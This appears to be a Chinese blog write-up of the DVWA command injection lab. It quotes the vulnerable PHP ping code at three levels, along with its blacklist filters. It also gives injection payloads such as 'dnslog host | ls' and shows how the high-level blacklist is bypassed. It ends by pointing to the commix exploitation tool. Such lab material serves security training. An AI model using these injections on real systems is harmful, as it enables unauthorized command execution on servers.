• PHP代码审计DVWA命令注入通关流程


    在这里插入图片描述

    如果你想搭建靶场可以购买蓝易云服务器搭建

    😘😘😘😘😘😘点击查看服务器类型

    Command Injection命令注入

    命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。

    命令连接符

    command1 && command2 先执行command1后执行command2

    command1 | command2 只执行command2

    command1 & command2 先执行command2后执行command1

    以上三种连接符在windows和linux环境下都支持

    LOW

    代码审计

    
    
    //if判断
        //isset设置非空
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        //获取输入的数据【ip】赋值给target变量
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
        //这里是判断类型
        //strstr函数是查找型的函数
        //php_uname() 返回了运行 PHP 的操作系统的描述
        //'a':此为默认。包含序列 "s n r v m" 里的所有模式。
        //'s':操作系统名称。例如: FreeBSD。
        //'n':主机名。例如: localhost.example.com。
        //'r':版本名称,例如: 5.1.2-RELEASE。
        //'v':版本信息。操作系统之间有很大的不同。
        //'m':机器类型。例如:i386。
        
        //用于检测当前的操作系统,用过window和linux的都知道,系统不一样ping是不一样的,windowsping+ip
        //而linux的压迫ping+ -c 4 ip才可以,如果加会无限ping下去的,所以说要先判断当前的系统才能简单用什么
        //系统的操作命令方式
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        //输出操作命令后的结果
        echo "
    {$cmd}
    "
    ; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    从上面的代码基本可以发现

    代码中基本上就是用户输入上面就执行什么了

    那么我们可以试试

    用到工具有

    DNSLog Platform

    在这里插入图片描述

    点击Get那个按钮刷新一个ip来

    然后把地址

    复制过来

    在这里插入图片描述

    点击submit

    在这里插入图片描述

    成功的执行了

    我们回到刚刚的工具网站上

    在这里插入图片描述

    点击这个按钮刷新当前状态

    在这里插入图片描述

    我们可以看到这里有一个访问的记录类似

    那么他居然可以访问ping我们想要的地址

    那么他能不能执行我们想要的操作命令呢

    我们可以根前面的命令连接符更改一下

    sx6vj8.dnslog.cn & ls

    在这里插入图片描述

    当他执行访问sx6vj8.dnslog.cn的时候会连接执行后面的命令

    如果能这样的话我们就可以执行其他类型的linux命令了

    Medium

    代码审计

    
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
        //这里设置了黑名单,但是没关系
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "
    {$cmd}
    "
    ; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    代码呢主要就是多了个黑名单

    但是也可以绕过

    njkhh3.dnslog.cn | ls

    在这里插入图片描述

    在这里插入图片描述

    Heigh

    代码审计

    
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "
    {$cmd}
    "
    ; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

    黑名单看似过滤了所有的非法字符,但仔细观察到是把|(注意这里|后有一个空格)替换为空字符,于是 |成了“漏网之鱼”。

    r1xn40.dnslog.cn |dir

    在这里插入图片描述

    命令注入漏洞检测工具

    GitHub - commixproject/commix:自动化的一体化操作系统命令注入利用工具。

    在这里插入图片描述

    安装

    您可以通过克隆官方Git存储库在任何平台上下载commix:

    $ git clone https://github.com/commixproject/commix.git commix
    
    • 1

    或者,您可以下载最新的压缩包压缩包

    注意:运行** commix 需要 Python(版本 2.6、2.73.x)。

    用法

    要获取所有选项和开关的列表,请使用:

    $ python commix.py -h
    
    • 1

    要获得commix可用选项,开关和/或有关如何使用commix的基本想法的概述,请检查**使用情况使用示例过滤器绕过**wiki页面。

    链接

    • 用户手册:https://github.com/commixproject/commix/wiki
    • 问题跟踪器:https://github.com/commixproject/commix/issues
  • 相关阅读:
    从一个 issue 出发,带你玩图数据库 NebulaGraph 内核开发
    腾讯地图基本使用(撒点位,点位点击,弹框等...功能) 搭配Vue3
    【纯手工打造】时间戳转换工具(python)
    Post与get的请求过程
    apache poi 实现Excel 下拉联动
    安卓数据恢复工具哪个强? 10 个最佳 Android 数据恢复应用程序
    SpringBoot使用分布式锁
    MyBatis 事务源码分析
    每日一题——输入某年某月某日,判断是这一年的第几天
    GBase 8s 产品功能-高可用和ER
  • 原文地址:https://blog.csdn.net/weixin_54882883/article/details/126312824